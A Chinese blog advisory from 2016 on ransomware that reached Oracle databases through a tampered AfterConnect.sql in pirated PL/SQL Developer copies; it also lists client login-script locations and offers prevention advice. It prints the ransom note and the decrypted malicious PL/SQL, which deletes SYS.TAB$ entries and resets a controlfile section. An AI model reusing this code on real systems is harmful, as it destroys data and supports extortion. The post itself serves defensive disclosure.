**【红色警报】近期Oracle数据库遭受比特币勒索攻击原因揭秘和预防**

作者：[eygle](http://www.eygle.com/) |[English](http://translate.google.com/translate?langpair=zh-CN|en&hl=zh-CN&ie=UTF8&u=http://www.eygle.com/archives/2016/11/AfterConnect_hacked.html) 【转载时请标明[出处](http://www.eygle.com/archives/2016/11/AfterConnect_hacked.html)和作者信息】|【[恩墨学院](http://www.enmoedu.com/) OCM培训传DBA成功之道】

链接：<http://www.eygle.com/archives/2016/11/AfterConnect_hacked.html>

最近，很多用户遭遇到数据库的[安全问题](http://www.enmotech.com/web/detail/1/92/1.html)，我们在此提示所有Oracle数据库用户关注此问题。[云和恩墨](http://www.enmotech.com/)技术团队也准备好随时帮助用户应对和处理这样的困境。

**问题症状：**

登录数据库时，提示数据库被锁死，黑客提示发送5个比特币可以解锁。

如果从客户端登录，你获得的提示信息示例了能如下：

在数据库的日志中，可能获得的信息如下：

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 [sqlrush@mail.com](mailto:sqlrush@mail.com) 我们将让你知道如何解锁你的数据库

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address [sqlrush@mail.com](mailto:sqlrush@mail.com), we will let you know how to unlock your database.

ORA-06512: at "XXX.DBMS\_CORE\_INTERNAL         ", line 27

ORA-06512: at line 2

**问题原因：**

根据我们收集的信息分析，这个问题的原因是：

如果用户从某些不明来源下载了PL/SQL Developer工具后（尤其是各种绿色版、破解版），这个工具的安装目录存在一个脚本文件AfterConnect.sql，正常安装这个脚本是空文件，但是被注入的文件，该脚本包含了一系列的JOB定义、存储过程和触发器定义。

受感染的AfterConnect.sql脚本开头伪装非常正常的代码：

实质内容却是加密的恶意代码：

create or replace procedure "DBMS\_SUPPORT\_INTERNAL         " wrapped

a000000

354

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

7

6f2 467

N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366

EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy

脚本代码的核心部分解密后如下：

BEGIN

   SELECT NVL(TO\_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS\_GUID,10)||' tablespace system  as select \* from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS\_BACKUP\_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS\_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address [sqlrush@mail.com](mailto:sqlrush@mail.com), we will let you know how to unlock your database.');

   DBMS\_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 [sqlrush@mail.com](mailto:sqlrush@mail.com) 我们将让你知道如何解锁你的数据库 ');

   END LOOP;

   END IF;

END;

一旦使用这个工具访问数据库，相应对象会被后台自动注入数据库，执行触发器阻止后续的用户登录，并通过任务Truncate数据库表。

我们强烈建议用户检查数据库工具的使用情况，避免使用来历不明的工具产品。

**我们强烈建议：采用正版软件，规避未知风险。**

**安全漏洞：**

几乎绝大多数客户端工具，在访问数据库时，都可以通过脚本进行一定的功能定义，而这些脚本往往就是安全问题的漏洞之一，来历不明的工具是数据库管理大忌，以下列出了常见客户端工具的脚本位置，需要引起注意：

SQL\*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

**处置建议：**

如果您的数据库已经遭受攻击和数据损失，可以紧急联系云和恩墨的服务团队，我们可以帮助您处理数据修复事宜。云和恩墨的ODU产品，可以在数据丢失后最大限度的恢复数据。

**事件回顾：**

2015年9月，XcodeGhost入侵苹果iOS事件在业内引起不小震动。事件起因为不知名黑客向iOS应用开发工具Xcode植入恶意程序，通过网盘和论坛上传播，被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示，病毒感染波及AppStore下载量最高的5000个App其中的76个，保守估计受影响用户数超过一亿。

2012年2月，中文版putty等SSH远程管理工具被曝出存在后门，该后门会自动窃取管理员所输入的SSH用户名与口令，并将其发送至指定服务器上。

**请关注云和恩墨公司微信号，我们将随时更新这次安全事故的其他信息。**

来自 <<http://www.eygle.com/archives/2016/11/AfterConnect_hacked.html>>